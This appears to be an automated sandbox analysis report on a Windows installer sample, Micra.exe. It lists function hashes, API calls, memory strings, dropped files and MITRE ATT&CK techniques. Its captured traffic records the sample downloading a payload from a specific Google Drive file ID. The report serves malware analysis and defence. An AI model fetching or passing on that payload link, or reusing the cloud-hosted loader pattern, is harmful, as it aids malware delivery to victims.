Instruction ID: a6f04a310b18aabde03b7f7103b0766b6a8cae165f5f83000fca33ef5d7903de
Opcode Fuzzy Hash: a0cd4a80a9fef02bbe1fc4bbb1aa5534793880a47eb513c47c61ed71f6c5cc4e
Instruction Fuzzy Hash: CD12A986E2E31A9AFF97A170C5016A15B80DF2F1C2B238F579836719A1772F4ACF05C4

Function 0319276E Relevance: 2.0, Strings: 1, Instructions: 780COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: f94e8741a1aedadc1efcd3c1251a725c2e4c79949e9c98d04fc56f78f0495a0b
Instruction ID: 7407d46b974e3fa36df2832fcff215501083d6a0d17fbc099ecf75f63b96751e
Opcode Fuzzy Hash: f94e8741a1aedadc1efcd3c1251a725c2e4c79949e9c98d04fc56f78f0495a0b
Instruction Fuzzy Hash: 42128886E2E31A9AFF97B170C5016A15B80DF2B1C2B238F579836719A1772F4ACF05D4

Function 03192797 Relevance: 2.0, Strings: 1, Instructions: 777COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: d786e55e70c35c8cfa8201ebb8c89d6330fabd4c3dd6934a6e349a63b17e03db
Instruction ID: b00c76762fa62e09936201d663c4b28db6d28c18c386446cc50d51d9feefcb28
Opcode Fuzzy Hash: d786e55e70c35c8cfa8201ebb8c89d6330fabd4c3dd6934a6e349a63b17e03db
Instruction Fuzzy Hash: 7F128986E2E31A9AFF97A170C5016A15B80DF2F1C2B238F57983671961772F4ACF05C4

Function 03192A52 Relevance: 2.0, Strings: 1, Instructions: 746COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 18224ae0561aa71f8125fd4d65ae8ea8a1cd4745ebe9594a0d9d4009c917d454
Instruction ID: 308ca3561902b4461ed39fa61fb5de91e38496aae73b0f8415c13a457cacabad
Opcode Fuzzy Hash: 18224ae0561aa71f8125fd4d65ae8ea8a1cd4745ebe9594a0d9d4009c917d454
Instruction Fuzzy Hash: 5C12AA4AE2E31A9AFF97B130C5416A55B80DF2F182B238F579836719A1772F4ACF05C4

Function 03192A77 Relevance: 2.0, Strings: 1, Instructions: 700COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: 4b591803a557361ffc015f677b842627a348989d7714384c5b019044998e7548
Instruction ID: 8d20cb161cdc727f9103cfdccdbe5f52210bd513b807b495865323140f6c52d8
Opcode Fuzzy Hash: 4b591803a557361ffc015f677b842627a348989d7714384c5b019044998e7548
Instruction Fuzzy Hash: FB029A4AE2E31A9AFF97B170C5016A55B80DF2F1C2B238F579836719A1772F4ACE05C4

Function 03192AF9 Relevance: 1.9, Strings: 1, Instructions: 694COMMON

Download Yara Rule

Strings

m VK, xrefs: 0319384D

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: m VK
API String ID: 0-3718960360
Opcode ID: ee5bfb088fc3c58e3a83e75c6597b5342e823428c93db660e9fce5c97105d5b6
Instruction ID: a72ddbee9265e66d17161707a7369aaebd3d6e08e1b9accf705a1ff6f1f4c53d
Opcode Fuzzy Hash: ee5bfb088fc3c58e3a83e75c6597b5342e823428c93db660e9fce5c97105d5b6
Instruction Fuzzy Hash: 04029C4AE2E3169AFF87B170C5016A55B80DF2F1C6B238F579836B19A1772F4ACE05C4

Function 0319022B Relevance: 1.6, Strings: 1, Instructions: 354COMMON

Download Yara Rule

Strings

G, xrefs: 03190AEC

Memory Dump Source

Source File: 00000000.00000002.3421465563.0000000003190000.00000040.00001000.00020000.00000000.sdmp, Offset: 03190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3190000_Micra.jbxd

Similarity

API ID:
String ID: G
API String ID: 0-985283518
Opcode ID: dc87f09054a646cbc778a502f3f62a3d89a08e104248def7cc85d651cc89d055
Instruction ID: dd70810ce70f19ad2244bf487b320fb53ebebc9748ad62641d33895eb62582e4
Opcode Fuzzy Hash: dc87f09054a646cbc778a502f3f62a3d89a08e104248def7cc85d651cc89d055
Instruction Fuzzy Hash: 3EA19883E3A3198AFE97B070C5016A19B85DF1F485F178F5B8826B18A1372F4ACE19C4

Function 100021FA Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 10002348

Part of subcall function 10001224: lstrcpynA.KERNEL32(00000000,?,100012CF,-1000404B,100011AB,-000000A0), ref: 10001234

GlobalAlloc.KERNEL32(00000040,?), ref: 100022C5
MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 100022DA
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100022E9
CLSIDFromString.OLE32(00000000,00000000), ref: 100022F7
GlobalFree.KERNEL32(00000000), ref: 100022FE

Strings

@Hmu, xrefs: 100022F7

Memory Dump Source

Source File: 00000000.00000002.3428984711.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3428968276.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3428998849.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3429054882.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Micra.jbxd

Similarity

API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
String ID: @Hmu
API String ID: 3730416702-887474944
Opcode ID: 0f1d2088a070cebd5915530b0a964975e4ea41447dfd67459970790859c4aece
Instruction ID: a642113aa4013a2ca06c871554e8d399cf46bf4099943ddf9e0960cc50565d32
Opcode Fuzzy Hash: 0f1d2088a070cebd5915530b0a964975e4ea41447dfd67459970790859c4aece
Instruction Fuzzy Hash: A941BCB1508311EFF320DF648C84B6AB7E8FF443D0F11892AF946D61A9DB34AA40CB61

Function 100023D8 Relevance: 10.6, APIs: 7, Instructions: 111COMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalFree.KERNEL32(?), ref: 100024B3
GlobalFree.KERNEL32(00000000), ref: 100024ED

Memory Dump Source

Source File: 00000000.00000002.3428984711.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3428968276.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3428998849.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3429054882.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Micra.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9b8f7426cd7417a05f7efaca6ab9ef20acf91f7aea9c9defdea317c740d0f0ba
Instruction ID: c0db1d51d0d8beb2da32add46ec64f24e8f484468aa98c5ce89375ba0c102a5a
Opcode Fuzzy Hash: 9b8f7426cd7417a05f7efaca6ab9ef20acf91f7aea9c9defdea317c740d0f0ba
Instruction Fuzzy Hash: 0831A9B1504211EFF322DB94CCC4C2B7BBDEB853D4B118929FA4193228CB31AC94DB62

Function 1000180D Relevance: 7.7, APIs: 5, Instructions: 189COMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(?), ref: 10001869
GlobalFree.KERNEL32(?), ref: 100019EF
GlobalFree.KERNEL32(?), ref: 100019F4

Memory Dump Source

Source File: 00000000.00000002.3428984711.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3428968276.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3428998849.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3429054882.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Micra.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: e61c022a33ae2d8226f4f9d8dc9768096fb4d6cd4e5c598d89deb3e57b8d12c3
Instruction ID: adaf369aa6dab84e94bee76403d526b7d43184adb12fe210256c1aedb67fe499
Opcode Fuzzy Hash: e61c022a33ae2d8226f4f9d8dc9768096fb4d6cd4e5c598d89deb3e57b8d12c3
Instruction Fuzzy Hash: 43512536D04159AEFB55DFB488A4AEEBBF6EF453C0F124169E841B315DCA306E4087D2

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000000.00000002.3428984711.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3428968276.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3428998849.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.3429054882.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Micra.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaS HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaS&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaS HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaS&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: Micra.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Micra.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Micra.exe, 00000005.00000001.3420489258.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.ftp.ftp://ftp.gopher.
Source: Micra.exe, 00000005.00000001.3420489258.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: Micra.exe, 00000005.00000001.3420489258.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: Micra.exe, 00000005.00000003.3486956573.00000000056CE000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3486883007.00000000056CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: Micra.exe, 00000005.00000002.4015639022.000000000567D000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975329371.000000000567C000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975075122.000000000567C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: Micra.exe, 00000005.00000002.4015639022.000000000567D000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975329371.000000000567C000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975075122.000000000567C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/s
Source: Micra.exe, 00000005.00000002.4039037120.0000000034B40000.00000004.00001000.00020000.00000000.sdmp, Micra.exe, 00000005.00000002.4015639022.000000000567D000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000002.4015584233.000000000566B000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975329371.000000000567C000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975075122.000000000567C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaS
Source: Micra.exe, 00000005.00000002.4015639022.000000000567D000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975329371.000000000567C000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975075122.000000000567C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaS)
Source: Micra.exe, 00000005.00000002.4015584233.000000000566B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaSfJ
Source: Micra.exe, 00000005.00000002.4015639022.000000000567D000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975329371.000000000567C000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975075122.000000000567C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaSk
Source: Micra.exe, 00000005.00000003.3530333738.00000000056C8000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3974977352.00000000056CA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975134687.00000000056C8000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975222724.00000000056CA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000002.4015767984.00000000056CD000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3974880692.00000000056C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Micra.exe, 00000005.00000003.3974880692.00000000056C8000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000002.4015584233.000000000566B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1oy1LR6ySauupAi9qDWRVXnDK8AVMnjaS&export=download
Source: Micra.exe, 00000005.00000003.3530333738.00000000056C8000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3974977352.00000000056CA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975134687.00000000056C8000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3975222724.00000000056CA000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000002.4015767984.00000000056CD000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3974880692.00000000056C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/vCp
Source: Micra.exe, 00000005.00000001.3420489258.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: Micra.exe, 00000005.00000003.3486956573.00000000056CE000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3486883007.00000000056CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: Micra.exe, 00000005.00000003.3486956573.00000000056CE000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3486883007.00000000056CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: Micra.exe, 00000005.00000003.3486956573.00000000056CE000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3486883007.00000000056CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: Micra.exe, 00000005.00000003.3486956573.00000000056CE000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3486883007.00000000056CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: Micra.exe, 00000005.00000003.3486956573.00000000056CE000.00000004.00000020.00020000.00000000.sdmp, Micra.exe, 00000005.00000003.3486883007.00000000056CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	HTTPS traffic detected: 142.250.184.206:443 -> 192.168.2.4:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.4:50003 version: TLS 1.2

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Micra.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsb308A.tmp\System.dll

C:\Users\user\entomostraca\nonmissionary\Anklages.bod

C:\Users\user\entomostraca\nonmissionary\Fuselfrie.Ana

C:\Users\user\entomostraca\nonmissionary\Procurable\phonetism.ham

C:\Users\user\entomostraca\nonmissionary\Procurable\skovtursstemningernes.and

C:\Users\user\entomostraca\nonmissionary\Procurable\telcontar.txt

C:\Users\user\entomostraca\nonmissionary\Septemvir\Bankboksene.Kra

C:\Users\user\entomostraca\nonmissionary\Septemvir\ankomsttidernes.obs

C:\Users\user\entomostraca\nonmissionary\Septemvir\beggarliness.rab

C:\Users\user\entomostraca\nonmissionary\Septemvir\besindelse.del

C:\Users\user\entomostraca\nonmissionary\Septemvir\bevidsthedsudvidelsen.und

C:\Windows\Resources\nringsmiddelet.ini

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
Micra.exe

Function 004031BB Relevance: 91.4, APIs: 33, Strings: 19, Instructions: 368
stringcomfileCOMMON

Function 00402D48 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Function 004056F7 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 0040377F Relevance: 45.7, APIs: 13, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00405F51 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 199
stringCOMMON

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

